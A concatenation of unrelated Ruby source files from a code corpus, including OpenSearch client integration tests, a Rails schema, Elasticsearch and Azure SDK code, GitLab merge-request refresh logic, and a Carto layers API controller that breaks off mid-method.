expect(responses.all? { true }).to be(true)
end
end
end
context 'when retry_on_failure is an integer' do
let(:hosts) do
[OPENSEARCH_HOSTS.first, 'foobar1', 'foobar2', 'foobar3']
end
let(:options) do
{ retry_on_failure: 1 }
end
it 'retries only the specified number of times' do
expect(client.perform_request('GET', '_nodes/_local'))
expect {
client.perform_request('GET', '_nodes/_local')
}.to raise_exception(Faraday::ConnectionFailed)
end
end
context 'when reload_on_failure is true' do
let(:hosts) do
[OPENSEARCH_HOSTS.first, 'foobar1', 'foobar2']
end
let(:options) do
{ reload_on_failure: true }
end
let(:responses) do
5.times.collect do
client.perform_request('GET', '_nodes/_local')
end
end
it 'reloads the connections' do
expect(client.transport.connections.size).to eq(3)
expect(responses.all? { true }).to be(true)
expect(client.transport.connections.size).to be >= (1)
end
end
context 'when retry_on_status is specified' do
let(:options) do
{ retry_on_status: 400 }
end
let(:logger) do
double('logger', :debug? => false, :warn? => true, :fatal? => false, :error? => false)
end
before do
expect(logger).to receive(:warn).exactly(4).times
end
it 'retries when the status matches' do
expect {
client.perform_request('PUT', '_foobar')
}.to raise_exception(OpenSearch::Transport::Transport::Errors::BadRequest)
end
end
context 'when the \'compression\' option is set to true' do
context 'when using Faraday as the transport' do
context 'when using the Net::HTTP adapter' do
let(:client) do
described_class.new(hosts: OPENSEARCH_HOSTS, compression: true, adapter: :net_http)
end
it 'compresses the request and decompresses the response' do
expect(client.perform_request('GET', '/').body).to be_a(Hash)
end
it 'sets the Accept-Encoding header' do
expect(client.transport.connections[0].connection.headers['Accept-Encoding'])
end
it 'preserves the other headers' do
expect(client.transport.connections[0].connection.headers['User-Agent'])
end
end
context 'when using the HTTPClient adapter' do
let(:client) do
described_class.new(hosts: OPENSEARCH_HOSTS, compression: true, adapter: :httpclient)
end
it 'compresses the request and decompresses the response' do
expect(client.perform_request('GET', '/').body).to be_a(Hash)
end
it 'sets the Accept-Encoding header' do
expect(client.transport.connections[0].connection.headers['Accept-Encoding'])
end
it 'preserves the other headers' do
expect(client.transport.connections[0].connection.headers['User-Agent'])
end
end
context 'when using the Patron adapter', unless: jruby? do
let(:client) do
described_class.new(hosts: OPENSEARCH_HOSTS, compression: true, adapter: :patron)
end
it 'compresses the request and decompresses the response' do
expect(client.perform_request('GET', '/').body).to be_a(Hash)
end
it 'sets the Accept-Encoding header' do
expect(client.transport.connections[0].connection.headers['Accept-Encoding'])
end
it 'preserves the other headers' do
expect(client.transport.connections[0].connection.headers['User-Agent'])
end
end
context 'when using the Net::HTTP::Persistent adapter' do
let(:client) do
described_class.new(hosts: OPENSEARCH_HOSTS, compression: true, adapter: :net_http_persistent)
end
it 'compresses the request and decompresses the response' do
expect(client.perform_request('GET', '/').body).to be_a(Hash)
end
it 'sets the Accept-Encoding header' do
expect(client.transport.connections[0].connection.headers['Accept-Encoding'])
end
it 'preserves the other headers' do
expect(client.transport.connections[0].connection.headers['User-Agent'])
end
end
context 'when using the Typhoeus adapter' do
let(:client) do
described_class.new(hosts: OPENSEARCH_HOSTS, compression: true, adapter: :typhoeus)
end
it 'compresses the request and decompresses the response' do
expect(client.perform_request('GET', '/').body).to be_a(Hash)
end
it 'sets the Accept-Encoding header' do
expect(client.transport.connections[0].connection.headers['Accept-Encoding'])
end
it 'preserves the other headers' do
expect(client.transport.connections[0].connection.headers['User-Agent'])
end
end unless jruby?
end
end
context 'when using Curb as the transport', unless: jruby? do
let(:client) do
described_class.new(
hosts: OPENSEARCH_HOSTS,
compression: true,
transport_class: OpenSearch::Transport::Transport::HTTP::Curb
)
end
it 'compresses the request and decompresses the response' do
expect(client.perform_request('GET', '/').body).to be_a(Hash)
end
it 'sets the Accept-Encoding header' do
expect(client.transport.connections[0].connection.headers['Accept-Encoding'])
end
it 'preserves the other headers' do
expect(client.transport.connections[0].connection.headers['User-Agent'])
end
end
context 'when using Manticore as the transport', if: jruby? do
let(:client) do
described_class.new(hosts: OPENSEARCH_HOSTS,
compression: true,
transport_class: OpenSearch::Transport::Transport::HTTP::Manticore)
end
it 'compresses the request and decompresses the response' do
expect(client.perform_request('GET', '/').body).to be_a(Hash)
end
end
end
describe '#perform_request' do
context 'when a request is made' do
before do
client.perform_request('DELETE', '_all')
client.perform_request('DELETE', 'myindex') rescue
client.perform_request('PUT', 'myindex', {}, { settings: { number_of_shards: 2, number_of_replicas: 0 } })
client.perform_request('PUT', 'myindex/_doc/1', { routing: 'XYZ', timeout: '1s' }, { foo: 'bar' })
client.perform_request('GET', '_cluster/health?wait_for_status=green&timeout=2s', {})
end
let(:response) do
client.perform_request('GET', 'myindex/_doc/1?routing=XYZ')
end
it 'handles paths and URL paramters' do
expect(response.status).to eq(200)
end
it 'returns response body' do
expect(response.body['_source']).to eq('foo' => 'bar')
end
end
context 'when an invalid url is specified' do
it 'raises an exception' do
expect {
client.perform_request('GET', 'myindex/_doc/1?routing=FOOBARBAZ')
}.to raise_exception(OpenSearch::Transport::Transport::Errors::NotFound)
end
end
context 'when the \'ignore\' parameter is specified' do
let(:response) do
client.perform_request('PUT', '_foobar', ignore: 400)
end
it 'exposes the status in the response' do
expect(response.status).to eq(400)
end
it 'exposes the body of the response' do
expect(response.body).to be_a(Hash)
expect(response.body.inspect).to match(/invalid_index_name_exception/)
end
end
context 'when request headers are specified' do
let(:response) do
client.perform_request('GET', '/', {}, nil, { 'Content-Type' => 'application/yaml' })
end
it 'passes them to the transport' do
expect(response.body).to match(/---/)
end
end
describe 'selector' do
context 'when the round-robin selector is used' do
let(:nodes) do
3.times.collect do
client.perform_request('GET', '_nodes/_local').body['nodes'].to_a[0][1]['name']
end
end
let(:node_names) do
client.perform_request('GET', '_nodes/stats').body('nodes').collect do |name, stats|
stats['name']
end
end
let(:expected_names) do
3.times.collect do |i|
node_names[i % node_names.size]
end
end
# it 'rotates nodes' do
# pending 'Better way to detect rotating nodes'
# expect(nodes).to eq(expected_names)
# end
end
end
context 'when patron is used as an adapter', unless: jruby? do
before do
require 'patron'
end
let(:options) do
{ adapter: :patron }
end
let(:adapter) do
client.transport.connections.first.connection.builder.adapter
end
it 'uses the patron connection handler' do
expect(adapter).to eq('Faraday::Adapter::Patron')
end
it 'keeps connections open' do
response = client.perform_request('GET', '_nodes/stats/http')
connections_before = response.body['nodes'].values.find { |n| n['name'] == node_names.first }['http']['total_opened']
client.transport.reload_connections!
response = client.perform_request('GET', '_nodes/stats/http')
connections_after = response.body['nodes'].values.find { |n| n['name'] == node_names.first }['http']['total_opened']
expect(connections_after).to be >= (connections_before)
end
end
context 'when typhoeus is used as an adapter', unless: jruby? do
before do
require 'typhoeus'
end
let(:options) do
{ adapter: :typhoeus }
end
let(:adapter) do
client.transport.connections.first.connection.builder.adapter
end
it 'uses the patron connection handler' do
expect(adapter).to eq('Faraday::Adapter::Typhoeus')
end
it 'keeps connections open' do
response = client.perform_request('GET', '_nodes/stats/http')
connections_before = response.body['nodes'].values.find { |n| n['name'] == node_names.first }['http']['total_opened']
client.transport.reload_connections!
response = client.perform_request('GET', '_nodes/stats/http')
connections_after = response.body['nodes'].values.find { |n| n['name'] == node_names.first }['http']['total_opened']
expect(connections_after).to be >= (connections_before)
end
end
end
end
end
| 30.012644 | 161 | 0.593867 |
611c52688d35827ac35c88175d4ae53a7dba8069 | 2,231 | # encoding: UTF-8
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20150722154726) do
create_table "roles", force: :cascade do |t|
t.string "name", limit: 255
t.datetime "created_at"
t.datetime "updated_at"
end
add_index "roles", ["name"], name: "index_roles_on_name", using: :btree
create_table "roles_users", id: false, force: :cascade do |t|
t.integer "role_id", limit: 4
t.integer "user_id", limit: 4
end
create_table "users", force: :cascade do |t|
t.string "email", limit: 255, default: "", null: false
t.string "encrypted_password", limit: 255, default: "", null: false
t.string "reset_password_token", limit: 255
t.datetime "reset_password_sent_at"
t.datetime "remember_created_at"
t.integer "sign_in_count", limit: 4, default: 0, null: false
t.datetime "current_sign_in_at"
t.datetime "last_sign_in_at"
t.string "current_sign_in_ip", limit: 255
t.string "last_sign_in_ip", limit: 255
t.datetime "created_at"
t.datetime "updated_at"
t.string "first_name", limit: 255
t.string "last_name", limit: 255
t.string "provider", limit: 255
t.string "uid", limit: 255
end
add_index "users", ["email"], name: "index_users_on_email", unique: true, using: :btree
add_index "users", ["reset_password_token"], name: "index_users_on_reset_password_token", unique: true, using: :btree
end
| 42.903846 | 119 | 0.683102 |
1896886351e2946cb75209cf9582d2040db5c83c | 264 | class TagsController < ApplicationController
caches_page :show
def show
@tag = Tag.find_by_name params[:id]
@tags = [@tag]
@taggings = @tag.taggings.paginate :page => params[:page],
:per_page => this_webapp.pictures_pagination
end
end
| 20.307692 | 62 | 0.681818 |
38fbec769d0f1419dd91485d766948dd50533d4f | 1,726 | # Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
module Elasticsearch
module API
module Features
module Actions
# Gets a list of features which can be included in snapshots using the feature_states field when creating a snapshot
#
# @option arguments [Time] :master_timeout Explicit operation timeout for connection to master node
# @option arguments [Hash] :headers Custom HTTP headers
#
# @see https://www.elastic.co/guide/en/elasticsearch/reference/master/get-features-api.html
#
def get_features(arguments = {})
headers = arguments.delete(:headers) || {}
body = nil
arguments = arguments.clone
method = Elasticsearch::API::HTTP_GET
path = "_features"
params = Utils.process_params(arguments)
Elasticsearch::API::Response.new(
perform_request(method, path, params, body, headers)
)
end
end
end
end
end
| 35.958333 | 124 | 0.691773 |
d5d38c80ee094b993b7dc167fb933a639d5a76ca | 378 | require 'mkmf'
find_executable('cc')
find_executable('ar')
libdir = File.expand_path(File.join(File.dirname(__FILE__), "../lib/url_parser_re2c/src"))
Dir.chdir(libdir) do
system 'cc -fPIC -c -o url_parser.o url_parser.c'
system 'ar rcs liburlparser.a url_parser.o'
end
$libs += " -lurlparser"
$INCFLAGS << " -I#{libdir}"
$LIBPATH << libdir
create_makefile 'url_parser'
| 21 | 90 | 0.716931 |
b997c80e3d7561a93a08bbfa1a9efba3005c3b4c | 2,299 | require 'erb'
require_relative 'template_processor'
module Compiler
class EJSProcessor < TemplateProcessor
def self.partial_for(key)
"<%- partial('partials/_#{key}') %>"
end
@@yield_hash = {
after_header: partial_for(:after_header),
body_classes: "<%= bodyClasses %>",
body_start: partial_for(:body_start),
body_end: partial_for(:body_end),
content: partial_for(:content),
cookie_message: partial_for(:cookie_message),
footer_support_links: partial_for(:footer_support_links),
footer_top: partial_for(:footer_top),
homepage_url: "{% if (homepageUrl) { %><%= homepageUrl %><% } else { %>https://www.gov.uk/<% } %>",
global_header_text: "<% if (globalHeaderText) { %><%= globalHeaderText %><% } %>",
head: partial_for(:head),
header_class: "<% if (headerClass) { %><%= headerClass %><% } %>",
html_lang: "<% if (htmlLang) { %><%= htmlLang %><% } else { %>en<% } %>",
inside_header: partial_for(:inside_header),
page_title: partial_for(:page_title),
proposition_header: partial_for(:proposition_header),
top_of_page: partial_for(:top_of_page),
skip_link_message: "<% if (skipLinkMessage) { %><%= skipLinkMessage %><% } else { %>Skip to main content<% } %>",
logo_link_title: "<% if (logoLinkTitle) { %><%= logoLinkTitle %><% } else { %>Go to the GOV.UK homepage<% } %>",
licence_message: partial_for(:licence_message),
crown_copyright_message: "<% if (crownCopyrightMessage) { %><%= crownCopyrightMessage %><% } else { %>© Crown copyright<% } %>",
}
def handle_yield(section = :layout)
@@yield_hash[section]
end
def asset_path(file, options={})
query_string = GovukTemplate::VERSION
return "#{file}?#{query_string}" if @is_stylesheet
case File.extname(file)
when '.css'
"<%= govukTemplateAssetPath %>stylesheets/#{file}?#{query_string}"
when '.js'
"<%= govukTemplateAssetPath %>javascripts/#{file}?#{query_string}"
else
"<%= govukTemplateAssetPath %>images/#{file}?#{query_string}"
end
end
end
end
| 42.574074 | 139 | 0.585472 |
038ecdfdf72dfc61312d5d5beb5197cd718fd38a | 751 | namespace :editables do
desc 'Create editable objects from config file'
task create_from_config: :environment do
editable_config_path = Rails.root.join('config', 'editable', 'config.yml')
editables = YAML::load(File.open(editable_config_path.to_s))
editables["pages"].each do |page_name, page_config|
page = Editables::Page.create(
name: page_name,
description: page_config["description"],
kind: page_config["kind"]
)
page_config["fields"].each do |field_name, field_config|
Editables::Field.create({
label: field_name,
kind: field_config['kind'],
value: field_config['value'],
editable_page_id: page.id,
})
end
end
end
end
| 31.291667 | 78 | 0.643142 |
0101fc79c95dc3dfca6dc2efa0ac8f655f2531be | 4,692 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::MediaServices::Mgmt::V2018_06_01_preview
module Models
#
# An Asset.
#
class Asset < ProxyResource
include MsRestAzure
# @return The Asset ID.
attr_accessor :asset_id
# @return [DateTime] The creation date of the Asset.
attr_accessor :created
# @return [DateTime] The last modified date of the Asset.
attr_accessor :last_modified
# @return [String] The alternate ID of the Asset.
attr_accessor :alternate_id
# @return [String] The Asset description.
attr_accessor :description
# @return [String] The name of the asset blob container.
attr_accessor :container
# @return [String] The name of the storage account.
attr_accessor :storage_account_name
# @return [AssetStorageEncryptionFormat] The Asset encryption format. One
# of None or MediaStorageEncryption. Possible values include: 'None',
# 'MediaStorageClientEncryption'
attr_accessor :storage_encryption_format
#
# Mapper for Asset class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'Asset',
type: {
name: 'Composite',
class_name: 'Asset',
model_properties: {
id: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'id',
type: {
name: 'String'
}
},
name: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'name',
type: {
name: 'String'
}
},
type: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'type',
type: {
name: 'String'
}
},
asset_id: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.assetId',
type: {
name: 'String'
}
},
created: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.created',
type: {
name: 'DateTime'
}
},
last_modified: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.lastModified',
type: {
name: 'DateTime'
}
},
alternate_id: {
client_side_validation: true,
required: false,
serialized_name: 'properties.alternateId',
type: {
name: 'String'
}
},
description: {
client_side_validation: true,
required: false,
serialized_name: 'properties.description',
type: {
name: 'String'
}
},
container: {
client_side_validation: true,
required: false,
serialized_name: 'properties.container',
type: {
name: 'String'
}
},
storage_account_name: {
client_side_validation: true,
required: false,
serialized_name: 'properties.storageAccountName',
type: {
name: 'String'
}
},
storage_encryption_format: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.storageEncryptionFormat',
type: {
name: 'Enum',
module: 'AssetStorageEncryptionFormat'
}
}
}
}
}
end
end
end
end
| 29.88535 | 79 | 0.469309 |
f73ce6bf50cf2d5209e381b7bad52b4bc4782b4c | 1,387 | # -*- ruby -*-
# encoding: utf-8
# This file is distributed under New Relic's license terms.
# See https://github.com/newrelic/rpm/blob/master/LICENSE for complete details.
require 'newrelic_rpm'
DependencyDetection.defer do
@name = :sequel
depends_on do
defined?(::Sequel)
end
depends_on do
!NewRelic::Agent.config[:disable_sequel_instrumentation] &&
!NewRelic::Agent.config[:disable_database_instrumentation]
end
def supported_sequel_version?
Sequel.const_defined?( :MAJOR ) &&
( Sequel::MAJOR > 3 ||
Sequel::MAJOR == 3 && Sequel::MINOR >= 37 )
end
executes do
if supported_sequel_version?
::NewRelic::Agent.logger.info 'Installing Sequel instrumentation'
if Sequel::Database.respond_to?( :extension )
Sequel::Database.extension :newrelic_instrumentation
else
NewRelic::Agent.logger.info "Detected Sequel version %s." % [ Sequel::VERSION ]
NewRelic::Agent.logger.info "Please see additional documentation: " +
"https://newrelic.com/docs/ruby/sequel-instrumentation"
end
Sequel.synchronize{Sequel::DATABASES.dup}.each do |db|
db.extension :newrelic_instrumentation
end
Sequel::Model.plugin :newrelic_instrumentation
else
NewRelic::Agent.logger.info "Sequel instrumentation requires at least version 3.37.0."
end
end
end
| 25.218182 | 92 | 0.689978 |
7a772bcf6e9c2221facd849c4e607c041800b1e9 | 71 | arr = [["test", "hello", "world"], ["example", "mem"]]
arr.last.first
| 17.75 | 54 | 0.549296 |
8777d75c0ea37a83cc32137b0ab619a992d0795e | 3,398 | # ----------------------------------------------------------------------------
# <copyright company="Aspose" file="delete_image_search_request.rb">
# Copyright (c) 2018-2020 Aspose Pty Ltd. All rights reserved.
# </copyright>
# <summary>
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
# </summary>
# ----------------------------------------------------------------------------
require_relative './imaging_request'
require_relative './http_request'
module AsposeImagingCloud
# Request model for delete_image_search operation.
class DeleteImageSearchRequest < ImagingRequest
# Deletes the search context.
# @param [String] search_context_id The search context identifier.
# @param [String] folder The folder.
# @param [String] storage The storage.
def initialize(search_context_id, folder = nil, storage = nil)
@search_context_id = search_context_id
@folder = folder
@storage = storage
end
def to_http_info(config)
# verify the required parameter 'search_context_id' is set
if config.client_side_validation && @search_context_id.nil?
raise ArgumentError, "Missing the required parameter 'search_context_id' when calling ImagingApi.delete_image_search"
end
# resource path
local_var_path = '/imaging/ai/imageSearch/{searchContextId}'.sub('{' + 'searchContextId' + '}', @search_context_id.to_s)
# query parameters
query_params = {}
query_params[:folder] = @folder unless @folder.nil?
query_params[:storage] = @storage unless @storage.nil?
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = ['JWT']
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = select_header_accept(['application/json'])
# HTTP header 'Content-Type'
header_params['Content-Type'] = form_params.any? ? 'multipart/form-data' : select_header_content_type(['application/json'])
AsposeImagingCloud::HttpRequest.new(local_var_path,
header_params,
query_params,
form_params,
post_body,
auth_names)
end
end
end
| 41.950617 | 129 | 0.645085 |
bf3d4855122bcb49c4b24e0466be1f77f43a41b5 | 6,741 | module MergeRequests
class RefreshService < MergeRequests::BaseService
def execute(oldrev, newrev, ref)
return true unless Gitlab::Git.branch_ref?(ref)
@oldrev, @newrev = oldrev, newrev
@branch_name = Gitlab::Git.ref_name(ref)
find_new_commits
# Be sure to close outstanding MRs before reloading them to avoid generating an
# empty diff during a manual merge
close_merge_requests
reload_merge_requests
reset_merge_when_pipeline_succeeds
mark_pending_todos_done
cache_merge_requests_closing_issues
# Leave a system note if a branch was deleted/added
if branch_added? || branch_removed?
comment_mr_branch_presence_changed
end
comment_mr_with_commits
mark_mr_as_wip_from_commits
execute_mr_web_hooks
true
end
private
# Collect open merge requests that target same branch we push into
# and close if push to master include last commit from merge request
# We need this to close(as merged) merge requests that were merged into
# target branch manually
def close_merge_requests
commit_ids = @commits.map(&:id)
merge_requests = @project.merge_requests.preload(:latest_merge_request_diff).opened.where(target_branch: @branch_name).to_a
merge_requests = merge_requests.select(&:diff_head_commit)
merge_requests = merge_requests.select do |merge_request|
commit_ids.include?(merge_request.diff_head_sha) &&
merge_request.merge_request_diff.state != 'empty'
end
filter_merge_requests(merge_requests).each do |merge_request|
MergeRequests::PostMergeService
.new(merge_request.target_project, @current_user)
.execute(merge_request)
end
end
def force_push?
Gitlab::Checks::ForcePush.force_push?(@project, @oldrev, @newrev)
end
# Refresh merge request diff if we push to source or target branch of merge request
# Note: we should update merge requests from forks too
def reload_merge_requests
merge_requests = @project.merge_requests.opened
.by_source_or_target_branch(@branch_name).to_a
# Fork merge requests
merge_requests += MergeRequest.opened
.where(source_branch: @branch_name, source_project: @project)
.where.not(target_project: @project).to_a
filter_merge_requests(merge_requests).each do |merge_request|
if merge_request.source_branch == @branch_name || force_push?
merge_request.reload_diff(current_user)
else
mr_commit_ids = merge_request.commit_shas
push_commit_ids = @commits.map(&:id)
matches = mr_commit_ids & push_commit_ids
merge_request.reload_diff(current_user) if matches.any?
end
merge_request.mark_as_unchecked
end
end
def reset_merge_when_pipeline_succeeds
merge_requests_for_source_branch.each(&:reset_merge_when_pipeline_succeeds)
end
def mark_pending_todos_done
merge_requests_for_source_branch.each do |merge_request|
todo_service.merge_request_push(merge_request, @current_user)
end
end
def find_new_commits
if branch_added?
@commits = []
merge_request = merge_requests_for_source_branch.first
return unless merge_request
begin
# Since any number of commits could have been made to the restored branch,
# find the common root to see what has been added.
common_ref = @project.repository.merge_base(merge_request.diff_head_sha, @newrev)
# If the a commit no longer exists in this repo, gitlab_git throws
# a Rugged::OdbError. This is fixed in https://gitlab.com/gitlab-org/gitlab_git/merge_requests/52
@commits = @project.repository.commits_between(common_ref, @newrev) if common_ref
rescue
end
elsif branch_removed?
# No commits for a deleted branch.
@commits = []
else
@commits = @project.repository.commits_between(@oldrev, @newrev)
end
end
# Add comment about branches being deleted or added to merge requests
def comment_mr_branch_presence_changed
presence = branch_added? ? :add : :delete
merge_requests_for_source_branch.each do |merge_request|
SystemNoteService.change_branch_presence(
merge_request, merge_request.project, @current_user,
:source, @branch_name, presence)
end
end
# Add comment about pushing new commits to merge requests
def comment_mr_with_commits
return unless @commits.present?
merge_requests_for_source_branch.each do |merge_request|
mr_commit_ids = Set.new(merge_request.commit_shas)
new_commits, existing_commits = @commits.partition do |commit|
mr_commit_ids.include?(commit.id)
end
SystemNoteService.add_commits(merge_request, merge_request.project,
@current_user, new_commits,
existing_commits, @oldrev)
end
end
def mark_mr_as_wip_from_commits
return unless @commits.present?
merge_requests_for_source_branch.each do |merge_request|
commit_shas = merge_request.commit_shas
wip_commit = @commits.detect do |commit|
commit.work_in_progress? && commit_shas.include?(commit.sha)
end
if wip_commit && !merge_request.work_in_progress?
merge_request.update(title: merge_request.wip_title)
SystemNoteService.add_merge_request_wip_from_commit(
merge_request,
merge_request.project,
@current_user,
wip_commit
)
end
end
end
# Call merge request webhook with update branches
def execute_mr_web_hooks
merge_requests_for_source_branch.each do |merge_request|
execute_hooks(merge_request, 'update', old_rev: @oldrev)
end
end
# If the merge requests closes any issues, save this information in the
# `MergeRequestsClosingIssues` model (as a performance optimization).
def cache_merge_requests_closing_issues
@project.merge_requests.where(source_branch: @branch_name).each do |merge_request|
merge_request.cache_merge_request_closes_issues!(@current_user)
end
end
def filter_merge_requests(merge_requests)
merge_requests.uniq.select(&:source_project)
end
def merge_requests_for_source_branch
@source_merge_requests ||= merge_requests_for(@branch_name)
end
def branch_added?
Gitlab::Git.blank_ref?(@oldrev)
end
def branch_removed?
Gitlab::Git.blank_ref?(@newrev)
end
end
end
| 34.045455 | 129 | 0.695742 |
1cbcce2ae682e0615a563f67b343b911e0a0d4c2 | 416 | class Qiitactl < Formula
desc "Command line interface to manage the posts in Qitta."
homepage "https://github.com/minodisk/qiitactl"
url "https://github.com/minodisk/qiitactl/releases/download/v0.1.3/qiitactl_0.1.3_darwin_amd64.zip"
version "v0.1.3"
sha256 "ad419750ec89b4dcd1bccfb2aba8a19a71b731783e5fbf1a7e68684389c7accd"
depends_on :arch => :intel
def install
bin.install 'qiitactl'
end
end
| 29.714286 | 101 | 0.769231 |
87cf91b97b0b05fcfcac3e9f166434573097239e | 582 | When /^I fill in new user details$/ do
within(".body") do
fill_in 'User Name', with: 'pbjorklund'
fill_in 'Email', with: '[email protected]'
fill_in 'Password', :with => 'password'
fill_in 'Password confirmation', :with => 'password'
end
click_button "Sign up"
end
When /^I fill in my user details$/ do
within(".body") do
fill_in 'User Name', with: 'pbjorklund'
fill_in 'Email', with: '[email protected]'
fill_in 'Password', :with => 'password'
fill_in 'Password confirmation', :with => 'password'
end
click_button "Sign up"
end
| 29.1 | 56 | 0.658076 |
91d0d10d85ad9430cf4e5c2e615c012f2ae0e804 | 1,419 | module FlickRaw
class Request
def initialize(flickr = nil) # :nodoc:
@flickr = flickr
self.class.flickr_objects.each {|name|
klass = self.class.const_get name.capitalize
instance_variable_set "@#{name}", klass.new(@flickr)
}
end
def self.build_request(req) # :nodoc:
method_nesting = req.split '.'
raise "'#{@name}' : Method name mismatch" if method_nesting.shift != request_name.split('.').last
if method_nesting.size > 1
name = method_nesting.first
class_name = name.capitalize
if flickr_objects.include? name
klass = const_get(class_name)
else
klass = Class.new Request
const_set(class_name, klass)
attr_reader name
flickr_objects << name
end
klass.build_request method_nesting.join('.')
else
req = method_nesting.first
module_eval %{
def #{req}(*args, &block)
@flickr.call("#{request_name}.#{req}", *args, &block)
end
} if Util.safe_for_eval?(req)
flickr_methods << req
end
end
# List the flickr subobjects of this object
def self.flickr_objects; @flickr_objects ||= [] end
# List the flickr methods of this object
def self.flickr_methods; @flickr_methods ||= [] end
# Returns the prefix of the request corresponding to this class.
def self.request_name; name.downcase.gsub(/::/, '.').sub(/[^\.]+\./, '') end
end
end
| 27.823529 | 101 | 0.640592 |
03a54d52e992406ac33c1edf14037cee8185d40d | 9,367 |
require_dependency 'carto/uuidhelper'
module Carto
module Api
class LayersController < ::Api::ApplicationController
include Carto::ControllerHelper
ssl_required :show, :layers_by_map, :custom_layers_by_user, :map_index, :user_index, :map_show, :user_show,
:map_create, :user_create, :map_update, :user_update, :map_destroy, :user_destroy
before_filter :ensure_current_user, only: [:user_index, :user_show, :user_create, :user_update, :user_destroy]
before_filter :load_user_layer, only: [:user_show, :user_destroy]
before_filter :load_user_layers, only: [:user_update]
before_filter :load_map, only: [:map_index, :map_show, :map_create, :map_update, :map_destroy]
before_filter :ensure_writable_map, only: [:map_create, :map_update, :map_destroy]
before_filter :load_map_layer, only: [:map_show, :map_destroy]
before_filter :load_map_layers, only: [:map_update]
rescue_from LoadError,
UnprocesableEntityError,
UnauthorizedError, with: :rescue_from_carto_error
def map_index
index(@map.layers)
end
def user_index
index(@user.layers, owner: @user)
end
def map_show
show(@map.user)
end
def user_show
show(current_user)
end
def map_create
layer = Carto::Layer.new(layer_attributes(params))
validate_for_map(layer)
save_layer(layer) do
@map.layers << layer
@map.process_privacy_in(layer)
from_layer = Carto::Layer.where(id: params[:from_layer_id]).first if params[:from_layer_id]
from_letter = params[:from_letter]
update_layer_node_styles(layer, from_layer, from_letter)
end
end
def user_create
layer = Carto::Layer.new(layer_attributes(params))
save_layer(layer) { @user.layers << layer }
end
def map_update
update
end
def user_update
update
end
def map_destroy
destroy
end
def user_destroy
destroy
end
private
def validate_for_map(layer)
unless @map.can_add_layer?(current_user, layer)
raise UnprocesableEntityError.new('Cannot add more layers to this visualization')
end
unless @map.admits_layer?(layer)
raise UnprocesableEntityError.new('Cannot add more layers of this type')
end
table_name = layer.options['table_name']
user_name = layer.options['user_name']
if user_name.present?
table_name = user_name + '.' + table_name
end
if layer.data_layer?
table_visualization = Helpers::TableLocator.new.get_by_id_or_name(
table_name,
current_user
).visualization
unless table_visualization.has_read_permission?(current_user)
raise UnauthorizedError.new('You do not have permission in the layer you are trying to add')
end
end
end
def index(layers, owner: nil)
presented_layers = layers.map do |layer|
Carto::Api::LayerPresenter.new(layer, viewer_user: current_user, user: owner || owner_user(layer)).to_poro
end
render_jsonp layers: presented_layers, total_entries: presented_layers.size
end
def show(owner)
render_jsonp Carto::Api::LayerPresenter.new(@layer, viewer_user: current_user, user: owner).to_json
end
# Takes a block, executed after saving
def save_layer(layer)
if layer.save
yield
render_jsonp Carto::Api::LayerPresenter.new(layer, viewer_user: current_user).to_poro
else
CartoDB::Logger.error(message: 'Error creating layer', errors: layer.errors.full_messages)
raise UnprocesableEntityError.new(layer.errors.full_messages)
end
end
def update
layers = @layers.map do |layer|
layer_params = params[:layers].present? ? params[:layers].find { |p| p['id'] == layer.id } : params
# don't allow to override table_name and user_name
new_layer_options = layer_params[:options]
['table_name', 'user_name'].each do |key|
if layer.options.include?(key)
new_layer_options[key] = layer.options[key]
else
new_layer_options.delete(key)
end
end
unless layer.update_attributes(layer_attributes(layer_params))
raise UnprocesableEntityError.new(layer.errors.full_messages)
end
layer
end
if layers.count > 1
render_jsonp(layers: layers.map { |l| Carto::Api::LayerPresenter.new(l, viewer_user: current_user).to_poro })
else
render_jsonp Carto::Api::LayerPresenter.new(layers[0], viewer_user: current_user).to_poro
end
rescue RuntimeError => e
